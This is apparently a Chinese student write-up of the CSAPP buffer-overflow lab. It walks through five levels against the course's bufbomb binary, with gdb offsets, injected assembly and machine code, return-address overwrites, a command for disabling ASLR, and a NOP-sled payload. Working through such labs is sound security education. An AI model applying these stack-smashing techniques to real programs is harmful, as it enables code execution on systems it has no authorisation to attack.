这是CSAPP官网上的著名实验，通过注入汇编代码实现堆栈溢出攻击。
实验材料可到我的github仓库 https://github.com/Cheukyin/CSAPP-LAB/ 选择buffer-overflow分支下载
linux默认开启ASLR,每次加载程序,变量地址都会不一样，所以若要关闭ASLR:
sysctl -w kernel.randomize_va_space=0（赋值为2，即可打开ASLR）
不过本实验的程序似乎经过特殊处理,不需要关闭ASLR
正常编译的程序的stack是non-executable的,但是加一个编译选项就可以打开
本实验的程序应该都打开了executable选项了
Level0:
修改getbuf()的返回地址,让程序执行smoke
打开gdb,设置断点至getbuf, r -u cheukyin
1 80491f4: 55 push %ebp
2 80491f5: 89 e5 mov %esp,%ebp
3 80491f7: 83 ec 38 sub $0x38,%esp
4 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax
5 80491fd: 89 04 24 mov %eax,(%esp)
6 8049200: e8 f5 fa ff ff call 8048cfa <Gets>
7 8049205: b8 01 00 00 00 mov $0x1,%eax
8 804920a: c9 leave
9 804920b: c3 ret
以上代码标明buf的地址是ebp-0x28,地址存放在eax中
print $ebp+4 ==> 0x55683884
print eax ==> 0x55683858
两者相差44个字节,因此需要输入44个普通字符,在输入smoke的地址
print smoke ==> 0x8048c18
hex结果保存在level0-smoke-hex.txt
./hex2raw < level0-smoke-hex.txt|./bufbomb_32 -u cheukyin 即可过关
Level1:
跟上面类似,执行fizz(),不过fizz有一个参数需要压栈,这个参数需要跟cookie相等
因此除了修改getbuf返回地址,还需要输入四字节当作fizz的返回地址,再输入4字节cookie
./makecookie cheukyin 可获取cookie
反汇编可获取fizz返回地址
./hex2raw<level1-fizz-hex.txt | ./bufbomb_32 -u cheukyin 通关
Level2:
修改全局变量global_value的值,并进入bang函数
要修改global_value,便需在stack上注入一段修改的代码,执行完get_buf后jump到该代码,
代码执行完后便jump到bang
level2-firecracker-assembly.S为注入代码:
1 # push the address of bang onto stack
2 pushl $0x08048c9d
3
4 # in gdb, print &global_value ==> 0x804d100
5 # mov cheukyin cookie to global_value
6 mov $0x3955ae84, %eax
7 mov %eax, 0x804d100
8
9 # jump to <bang>
10 ret
先把bang地址压栈,然后修改global_value的值为cheukin的cookie,最后ret跳转至bang
gcc -m32 -c level2-firecracker-assembly.S生成目标文件
objdump -d level2-firecracker-assembly.o > level2-firecracker-assembly.d反汇编
level2-firecracker-assembly.d:
1 0: 68 9d 8c 04 08 push $0x8048c9d
2 5: b8 84 ae 55 39 mov $0x3955ae84,%eax
3 a: a3 00 d1 04 08 mov %eax,0x804d100
4 f: c3 ret
gdb: print $ebp+8 ==> 0x55683888
把机器码填充到上面的地址,然后把get_buf返回地址修改为上面的地址即可
./hex2raw<level2-bang-hex.txt | ./bufbomb_32 -u cheukyin可过关
Level3:
令getbuf返回cookie给test,因此不能破坏test的stack frame,
所以只能把注入代码写在输入字符串的开头,也就是buf地址
另外,当返回test时需要恢复正确的ebp,因此输入字符串中在返回地址之前应写入ebp:
在getbuf中, x/wx $ebp ==> 0x55683880
返回地址应是buf地址: print $ebp-0x28 ==> 0x55683858
注入代码需要把cookie移入eax,并返回正确的地址:
1 #in getbuf: x/wx $ebp+4 ==> 0x08048dbe
2 #push get_buf's return address
3 pushl $0x08048dbe
4
5 #return cheukyin's cookie to test
6 movl $0x3955ae84, %eax
7
8 #return to <test>
9 ret
gcc -m32 -c level3-Dynamite-assembly.S
objdump -d level3-Dynamite-assembly.o > level3-Dynamite-assembly.d
把生成的机器码填入buf
./hex2raw<level3-Dynamite-hex.txt | ./bufbomb_32 -u cheukyin通关
Level4:
最后一关的要求和上一关一致，不过需要加上-n参数运行bufbomb，
此时会进入testn和getbufn函数而不是test和getbuf函数。
与之前不同在于,为模拟真实环境具有不定数量环境变量在stack frame的上方,
进入getbufn时的ebp值不是固定值，
读取字符串缓冲区大小由32变为512，而且会调用testn函数五次，
意味着需要输入五次字符串并全部通过才能通过。
由于testn()的ebp值不固定，首先需要确定如何恢复该值。
需要注意到一个事实,esp和ebp距离是固定的.
由testn的汇编代码:
1
2 8048e26: 55 push %ebp
3 8048e27: 89 e5 mov %esp,%ebp
4 8048e29: 53 push %ebx
5 8048e2a: 83 ec 24 sub $0x24,%esp
6 8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval>
7 8048e32: 89 45 f4 mov %eax,-0xc(%ebp)
8 8048e35: e8 d2 03 00 00 call 804920c <getbufn>
9 8048e3a: 89 c3 mov %eax,%ebx
getbufn正常返回后应回到8048e3a,此时 ebp=esp+0x28
因此注入代码应增加利用esp恢复ebp的语句
如下:
1 #testn's ebp is fixed
2 #read <testn>'s assembly code and calculate
3 lea 0x28(%esp), %ebp
4
5 #look into bufbomb_32.S
6 #push getbufn's return address
7 pushl $0x08048e3a
8
9 #return cheukyin's cookie to test
10 movl $0x3955ae84, %eax
11
12 #return to <testn>
13 ret
查看其机器码:
1
2 0: 8d 6c 24 28 lea 0x28(%esp),%ebp
3 4: 68 3a 8e 04 08 push $0x8048e3a
4 9: b8 84 ae 55 39 mov $0x3955ae84,%eax
5 e: c3 ret
此时,还有另一个难题,ebp不固定,则getbufn中的字串数组buf地址也是不固定的.
如何修改getbufn返回地址来执行注入代码呢?
通过gdb查看读入getbufn内字符串buf的地址(即eax)，
对于同样的userid会给出一样的地址序列，
目测是以userid为seed的伪随机，五次运行给出的地址分别为：
1 0x55683678
2 0x55683698
3 0x556836c8
4 0x556835f8
5 0x55683668
根据提示采用nop sleds的技术，
大意是：在不清楚有效机器代码的入口地址时，
可以在有效机器代码前以大量的nop机器指令(0x90)填充，
只要跳转地址处于这些nop上就能到达有效机器代码。
由于栈上的机器代码是按地址由低向高顺序执行，
要保证五次运行都能顺利执行有效机器代码，
需要满足：跳转地址位于有效机器代码入口地址之前的nop机器指令填充区。
这要求尽可能增大nop填充区，尽可能使有效机器代码段往后挪。
因此返回地址选用最高的地址: 0x556836c8
由getbufn汇编代码
8049215: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
可知buf地址和存放返回地址的单元相隔 0x208+4 = 0x20c 个字节
而注入代码共15个字节,因此共需要在buf开头填充 0x20c-15 个nop(0x90)
然后在填入机器码和返回地址
./hex2raw -n <level4-Nitroglycerin-hex.txt|./bufbomb_32 -u cheukyin -n 通关
./hex2raw 的 -n 选项可让hex2raw重复多次输入